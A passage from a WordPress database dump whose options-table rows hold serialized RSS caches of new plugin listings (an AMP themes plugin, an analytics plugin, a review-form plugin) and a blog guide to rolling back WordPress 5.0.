&lt;a href=\&quot;https://ampthemes.io/downloads/palm-amp-theme/\&quot; rel=\&quot;nofollow\&quot;&gt;PALM&lt;/a&gt;.&lt;/p&gt;\n&lt;p&gt;Have fun on your mobile adventures!&lt;/p&gt;\n&lt;h3&gt;Repositories&lt;/h3&gt;\n&lt;p&gt;Here&amp;#8217;s our Github development repository:&lt;br /&gt;\n* &lt;a href=\&quot;https://github.com/appticles/wp-amp-themes\&quot; rel=\&quot;nofollow\&quot;&gt;https://github.com/appticles/wp-amp-themes&lt;/a&gt; &amp;#8211; The plugin files, same as you will find for download on WordPress.org.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;h4&gt;Simple installation for WordPress v4.4 and later&lt;/h4&gt;\n&lt;p&gt;This plugin requires the &lt;a href=\&quot;https://wordpress.org/plugins/amp/\&quot;&gt;AMP plugin&lt;/a&gt; to be installed.&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Go to the &amp;#8216;Plugins&amp;#8217; / &amp;#8216;Add new&amp;#8217; menu&lt;/li&gt;\n&lt;li&gt;Upload wp-amp-themes.zip then press &amp;#8216;Install now&amp;#8217;.&lt;/li&gt;\n&lt;li&gt;Enjoy.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;h4&gt;Comprehensive setup&lt;/h4&gt;\n&lt;p&gt;A more comprehensive setup process and guide to configuration is as follows.&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Locate your WordPress install on the file system&lt;/li&gt;\n&lt;li&gt;Extract the contents of &lt;code&gt;wp-amp-themes.zip&lt;/code&gt; into &lt;code&gt;wp-content/plugins&lt;/code&gt;&lt;/li&gt;\n&lt;li&gt;In &lt;code&gt;wp-content/plugins&lt;/code&gt; you should now see a directory named &lt;code&gt;wp-amp-themes&lt;/code&gt;&lt;/li&gt;\n&lt;li&gt;Login to the WordPress admin panel at &lt;code&gt;http://yoursite.com/wp-admin&lt;/code&gt;&lt;/li&gt;\n&lt;li&gt;Go to the &amp;#8216;Plugins&amp;#8217; menu.&lt;/li&gt;\n&lt;li&gt;Click &amp;#8216;Activate&amp;#8217; for the plugin.&lt;/li&gt;\n&lt;li&gt;Go to the ‘WP AMP Themes&amp;#8217; admin panel.&lt;/li&gt;\n&lt;li&gt;Edit your settings.&lt;/li&gt;\n&lt;li&gt;You&amp;#8217;re all done!&lt;/li&gt;\n&lt;/ol&gt;\n&lt;h4&gt;Testing your installation&lt;/h4&gt;\n&lt;p&gt;Open a post details page and add &amp;#8216;/amp&amp;#8217; at the end of the URL. You should see the AMP template being displayed.&lt;/p&gt;\n&lt;p&gt;Once your AMP posts are cached by Google, they can be easily recognized on mobile devices by the AMP lightning symbol that shows up next to them in the Google search results.&lt;/p&gt;\n&lt;p&gt;If a user clicks on an AMP link, the AMP content is loaded directly in the browser from the Google AMP Cache.&lt;br /&gt;\nAfter viewing the AMP page, users can click on links in the article or return to Google search by clicking the back arrow.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;0.5&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Beta release&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;h4&gt;Simple installation for WordPress v4.4 and later&lt;/h4&gt;\n&lt;p&gt;This plugin requires the &lt;a href=\&quot;https://wordpress.org/plugins/amp/\&quot;&gt;AMP plugin&lt;/a&gt; to be installed.&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Go to the &amp;#8216;Plugins&amp;#8217; / &amp;#8216;Add new&amp;#8217; menu&lt;/li&gt;\n&lt;li&gt;Upload wp-amp-themes.zip then press &amp;#8216;Install now&amp;#8217;.&lt;/li&gt;\n&lt;li&gt;Enjoy.&lt;/li&gt;\n&lt;/ol&gt;\n&lt;h4&gt;Comprehensive setup&lt;/h4&gt;\n&lt;p&gt;A more comprehensive setup process and guide to configuration is as follows.&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Locate your WordPress install on the file system&lt;/li&gt;\n&lt;li&gt;Extract the contents of &lt;code&gt;wp-amp-themes.zip&lt;/code&gt; into &lt;code&gt;wp-content/plugins&lt;/code&gt;&lt;/li&gt;\n&lt;li&gt;In &lt;code&gt;wp-content/plugins&lt;/code&gt; you should now see a directory named &lt;code&gt;wp-amp-themes&lt;/code&gt;&lt;/li&gt;\n&lt;li&gt;Login to the WordPress admin panel at &lt;code&gt;http://yoursite.com/wp-admin&lt;/code&gt;&lt;/li&gt;\n&lt;li&gt;Go to the &amp;#8216;Plugins&amp;#8217; menu.&lt;/li&gt;\n&lt;li&gt;Click &amp;#8216;Activate&amp;#8217; for the plugin.&lt;/li&gt;\n&lt;li&gt;Go to the ‘WP AMP Themes&amp;#8217; admin panel.&lt;/li&gt;\n&lt;li&gt;Edit your settings.&lt;/li&gt;\n&lt;li&gt;You&amp;#8217;re all done!&lt;/li&gt;\n&lt;/ol&gt;\n&lt;h4&gt;Testing your installation&lt;/h4&gt;\n&lt;p&gt;Open a post details page and add &amp;#8216;/amp&amp;#8217; at the end of the URL. You should see the AMP template being displayed.&lt;/p&gt;\n&lt;p&gt;Once your AMP posts are cached by Google, they can be easily recognized on mobile devices by the AMP lightning symbol that shows up next to them in the Google search results.&lt;/p&gt;\n&lt;p&gt;If a user clicks on an AMP link, the AMP content is loaded directly in the browser from the Google AMP Cache.&lt;br /&gt;\nAfter viewing the AMP page, users can click on links in the article or return to Google search by clicking the back arrow.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:8;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;Adtoniq for Google Analytics\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;https://wordpress.org/plugins/adtoniq-for-google-analytics/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 14 Jul 2017 16:34:12 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;https://wordpress.org/plugins/adtoniq-for-google-analytics/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:38:\&quot;Assure accurate Google Analytics data.\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;davidadtoniq\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1953:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;Adtoniq For Google Analytics allows WordPress sites to make full use of Google Analytics even with their blocked audience, and also allows customers to segment their audience into blocked and non-blocked users.&lt;/p&gt;\n&lt;p&gt;Highlights:&lt;/p&gt;\n&lt;h4&gt;Get the full picture&lt;/h4&gt;\n&lt;p&gt;Ensures that all the same Google Analytics data is collected for both non-blocked and blocked users alike.&lt;/p&gt;\n&lt;h4&gt;Uses your Google Analytics account&lt;/h4&gt;\n&lt;p&gt;Works with your own Google Analytics account. If you don&amp;#8217;t have one, we can help you get set up.&lt;/p&gt;\n&lt;h4&gt;Uses custom dimensions for reporting&lt;/h4&gt;\n&lt;p&gt;Uses custom dimensions for reporting, so you can understand differences in behaviour and demographics between your blocked and unblocked web.&lt;/p&gt;\n&lt;h4&gt;Supports traffic splitting&lt;/h4&gt;\n&lt;p&gt;Supports traffic splitting so you can stay within the Google Analytics quota.&lt;/p&gt;\n&lt;h4&gt;On-Call Expert Customer Support and Consultation Services&lt;/h4&gt;\n&lt;p&gt;Contact Adtoniq at support@adtoniq.com, or call us at 415.340.1949.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;p&gt;This plugin requires that you first install and activate the &lt;a href=\&quot;https://wordpress.org/plugins/adtoniq/\&quot;&gt;Adtoniq plugin&lt;/a&gt; plugin. After installing that,&lt;br /&gt;\ninstall and activate this plugin. Click to the Adtoniq for Google Analytics admin page and enter your Google Analytics property ID, traffic split,&lt;br /&gt;\nand check the box if you want Google Analytics to work even with ad blockers.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;This plugin requires that you first install and activate the &lt;a href=\&quot;https://wordpress.org/plugins/adtoniq/\&quot;&gt;Adtoniq plugin&lt;/a&gt; plugin. After installing that,&lt;br /&gt;\ninstall and activate this plugin. Click to the Adtoniq for Google Analytics admin page and enter your Google Analytics property ID, traffic split,&lt;br /&gt;\nand check the box if you want Google Analytics to work even with ad blockers.&lt;/p&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:9;a:6:{s:4:\&quot;data\&quot;;s:30:\&quot;\n		\n		\n		\n		\n		\n		\n		\n				\n			\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:3:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;5 Star Google Reviews\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;https://wordpress.org/plugins/5-star-google-reviews/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Fri, 14 Jul 2017 16:22:42 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:52:\&quot;https://wordpress.org/plugins/5-star-google-reviews/\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:1:{s:11:\&quot;isPermaLink\&quot;;s:5:\&quot;false\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:93:\&quot;This lightweight plugin will display a review form on your website. If the user leaves&amp;#8230;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:16:\&quot;Joseph Stevenson\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:40:\&quot;http://purl.org/rss/1.0/modules/content/\&quot;;a:1:{s:7:\&quot;encoded\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1514:\&quot;&lt;p&gt;&lt;!--section=description--&gt;&lt;/p&gt;\n&lt;p&gt;This lightweight plugin will display a review form on your website. If the user leaves a 5 star review they will be forwarded to your google business, facebook or yelp page. Any reviews with 4 stars or less will be shown an apology page from you.&lt;/p&gt;\n&lt;p&gt;Perfect to get feedback from customers without complaints going straight to your google business, facebook or yelp pages.&lt;/p&gt;\n&lt;p&gt;&lt;!--section=installation--&gt;&lt;/p&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload the &lt;code&gt;5-star-reviews&lt;/code&gt; folder to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;li&gt;Manage through the &amp;#8216;5 Star Reviews Link&amp;#8217; in WordPress Admin&lt;/li&gt;\n&lt;/ol&gt;\n&lt;p&gt;&lt;!--section=faq--&gt;&lt;/p&gt;\n&lt;dl&gt;\n&lt;dt&gt;Installation Instructions&lt;/dt&gt;\n&lt;dd&gt;\n&lt;ol&gt;\n&lt;li&gt;Upload the &lt;code&gt;5-star-reviews&lt;/code&gt; folder to the &lt;code&gt;/wp-content/plugins/&lt;/code&gt; directory&lt;/li&gt;\n&lt;li&gt;Activate the plugin through the &amp;#8216;Plugins&amp;#8217; menu in WordPress&lt;/li&gt;\n&lt;li&gt;Manage through the &amp;#8216;5 Star Reviews Link&amp;#8217; in WordPress Admin&lt;/li&gt;\n&lt;/ol&gt;\n&lt;/dd&gt;\n&lt;dt&gt;How do I add the form to my page?&lt;/dt&gt;\n&lt;dd&gt;\n&lt;p&gt;Use the shortcode [FiveStar] to post the form on any page or widget&lt;/p&gt;\n&lt;/dd&gt;\n&lt;/dl&gt;\n&lt;p&gt;&lt;!--section=changelog--&gt;&lt;/p&gt;\n&lt;h4&gt;0.1&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;First official release&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h4&gt;0.2&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Attribution Change&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h4&gt;0.3&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Change to only show review sites that have urls entered into settings&lt;/li&gt;\n&lt;/ul&gt;\n&lt;h4&gt;0.4&lt;/h4&gt;\n&lt;ul&gt;\n&lt;li&gt;Code Condensing&lt;/li&gt;\n&lt;/ul&gt;\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}s:27:\&quot;http://www.w3.org/2005/Atom\&quot;;a:1:{s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:0:\&quot;\&quot;;s:7:\&quot;attribs\&quot;;a:1:{s:0:\&quot;\&quot;;a:3:{s:4:\&quot;href\&quot;;s:46:\&quot;https://wordpress.org/plugins/browse/new/feed/\&quot;;s:3:\&quot;rel\&quot;;s:4:\&quot;self\&quot;;s:4:\&quot;type\&quot;;s:19:\&quot;application/rss+xml\&quot;;}}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:44:\&quot;http://purl.org/rss/1.0/modules/syndication/\&quot;;a:2:{s:12:\&quot;updatePeriod\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;hourly\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:15:\&quot;updateFrequency\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:1:\&quot;1\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}}}}}}}}s:4:\&quot;type\&quot;;i:128;s:7:\&quot;headers\&quot;;a:10:{s:6:\&quot;server\&quot;;s:5:\&quot;nginx\&quot;;s:4:\&quot;date\&quot;;s:29:\&quot;Sun, 16 Jul 2017 07:56:20 GMT\&quot;;s:12:\&quot;content-type\&quot;;s:34:\&quot;application/rss+xml; charset=UTF-8\&quot;;s:10:\&quot;connection\&quot;;s:5:\&quot;close\&quot;;s:25:\&quot;strict-transport-security\&quot;;s:11:\&quot;max-age=360\&quot;;s:6:\&quot;x-olaf\&quot;;s:3:\&quot;⛄\&quot;;s:13:\&quot;last-modified\&quot;;s:29:\&quot;Sun, 16 Jul 2017 07:40:42 GMT\&quot;;s:4:\&quot;link\&quot;;s:66:\&quot;&lt;https://wordpress.org/plugins/wp-json/&gt;; rel=\&quot;https://api.w.org/\&quot;\&quot;;s:15:\&quot;x-frame-options\&quot;;s:10:\&quot;SAMEORIGIN\&quot;;s:4:\&quot;x-nc\&quot;;s:11:\&quot;HIT lax 249\&quot;;}s:5:\&quot;build\&quot;;s:14:\&quot;20131027142243\&quot;;}', 'no');
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INSERT INTO `www2_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES
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(124432, '_transient_rss_da8c757f762dcd1ec67339593414ea85', 'O:9:\&quot;MagpieRSS\&quot;:19:{s:6:\&quot;parser\&quot;;i:0;s:12:\&quot;current_item\&quot;;a:0:{}s:5:\&quot;items\&quot;;a:10:{i:0;a:11:{s:5:\&quot;title\&quot;;s:72:\&quot;How to Rollback WordPress 5.0 (A Just in Case You Weren’t Ready Guide)\&quot;;s:4:\&quot;link\&quot;;s:77:\&quot;http://feeds.seodesignsolutions.com/~r/SeoDesignSolutionsBlog/~3/mFkgcZIy4CM/\&quot;;s:8:\&quot;category\&quot;;s:25:\&quot;How To Reference Material\&quot;;s:2:\&quot;dc\&quot;;a:1:{s:7:\&quot;creator\&quot;;s:13:\&quot;Jeffrey_Smith\&quot;;}s:7:\&quot;pubdate\&quot;;s:29:\&quot;Wed, 12 Dec 2018 09:51:56 PST\&quot;;s:4:\&quot;guid\&quot;;s:46:\&quot;http://www.seodesignsolutions.com/blog/?p=9690\&quot;;s:7:\&quot;content\&quot;;a:1:{s:7:\&quot;encoded\&quot;;s:5878:\&quot;&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;Ok, so, you&amp;#8217;ve heard the chatter about this &lt;a href=\&quot;https://wordpress.org/plugins/gutenberg/\&quot;&gt;Gutenberg thing&lt;/a&gt; from WordPress for the last 6 months or so, and sometimes life just gets in the way and things can take you by surprise, but an WP update shouldn&amp;#8217;t be one of them.&lt;/p&gt;\n&lt;p&gt;So, just in case this happened to you, don&amp;#8217;t panic, here&amp;#8217;s a quick guide on how you can rollback WordPress with a few simple plugins and make all the headaches of broken themes and plugins go away&amp;#8230;&lt;/p&gt;\n&lt;p&gt;While this is just a temporary fix (as you can&amp;#8217;t put off updating indefinitely) but this can give you and theme and plugin developers a chance to catch up and patch things to be more stable as any WP core update can potentially wreak havoc.&lt;/p&gt;\n&lt;p&gt;Anyway, here&amp;#8217;s a quick fix:&lt;/p&gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/WP-Downgrade-Plugin.jpg\&quot; class=\&quot;image-module img-responsive img-center\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/WP-Downgrade-Plugin.jpg\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;Step 1) Download the &lt;strong&gt;WP Downgrade Plugin&lt;/strong&gt; &amp;#8211; You can find it here &amp;#8211; &lt;a href=\&quot;https://wordpress.org/plugins/wp-downgrade/\&quot;&gt;https://wordpress.org/plugins/wp-downgrade/&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Step 2) &lt;strong&gt;Install and Activate the Plugin&lt;/strong&gt; &amp;gt; Then go to &lt;strong&gt;Settings&lt;/strong&gt; &amp;gt; &lt;strong&gt;WP-Downgrade&lt;/strong&gt; &amp;gt; then &lt;strong&gt;Enter the version you&amp;#8217;d like to rollback to&lt;/strong&gt; &amp;gt; for example I used 4.9.8&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/wp-downgrade-settings-1024x386.jpg\&quot; class=\&quot;image-module img-responsive img-left\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/wp-downgrade-settings-1024x386.jpg\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;Step 3) &lt;strong&gt;Save changes&lt;/strong&gt; and then &lt;strong&gt;click the link to upgrade your WP Core&lt;/strong&gt;, then it should have the version you entered and successfully rollback changes (just like you&amp;#8217;d update to a newer version from WP).&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/easy-updates-manager-plugin-1010x640.jpg\&quot; class=\&quot;image-module img-responsive rectangle img-left\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/easy-updates-manager-plugin-1010x640.jpg\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot; text-left\&quot;&gt;If you want to stop or disable auto-updates entirely, you can add this plugin from &amp;#8211; &lt;a href=\&quot;https://wordpress.org/plugins/stops-core-theme-and-plugin-updates/\&quot;&gt;https://wordpress.org/plugins/stops-core-theme-and-plugin-updates/&lt;/a&gt;&lt;/p&gt;\n&lt;p&gt;Just &lt;strong&gt;Download, Install and Activate Plugin&lt;/strong&gt; &amp;gt; Then go to &lt;strong&gt;Updates Options&lt;/strong&gt; &amp;gt; in sidebar &amp;gt; right under updates &amp;gt; Then click &lt;strong&gt;Disable Updates&lt;/strong&gt; and &lt;strong&gt;Save Changes &lt;/strong&gt;&amp;gt;&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;div class=\&quot;row\&quot;&gt;\n&lt;div class=\&quot;col-md-12\&quot;&gt;\n&lt;figure class=\&quot;image-module\&quot;&gt;\n&lt;div&gt;&lt;img src=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/disable-updates-option-1200x640.jpg\&quot; class=\&quot;image-module img-responsive rectangle img-left\&quot; data-no-retina title=\&quot;\&quot; alt=\&quot;\&quot;&gt;&lt;/div&gt;&lt;figcaption&gt;\n&lt;div class=\&quot;view-more\&quot;&gt;&lt;a href=\&quot;http://www.seodesignsolutions.com/blog/wp-content/uploads/2018/12/disable-updates-option-1200x640.jpg\&quot; class=\&quot;pretty-view clearfix\&quot; data-rel=\&quot;prettyPhoto\&quot;&gt;View more&lt;/a&gt;&lt;/div&gt;\n&lt;/figcaption&gt;&lt;/figure&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;/div&gt;\n&lt;div class=\&quot;hero_block row last_row\&quot;&gt;\n&lt;div 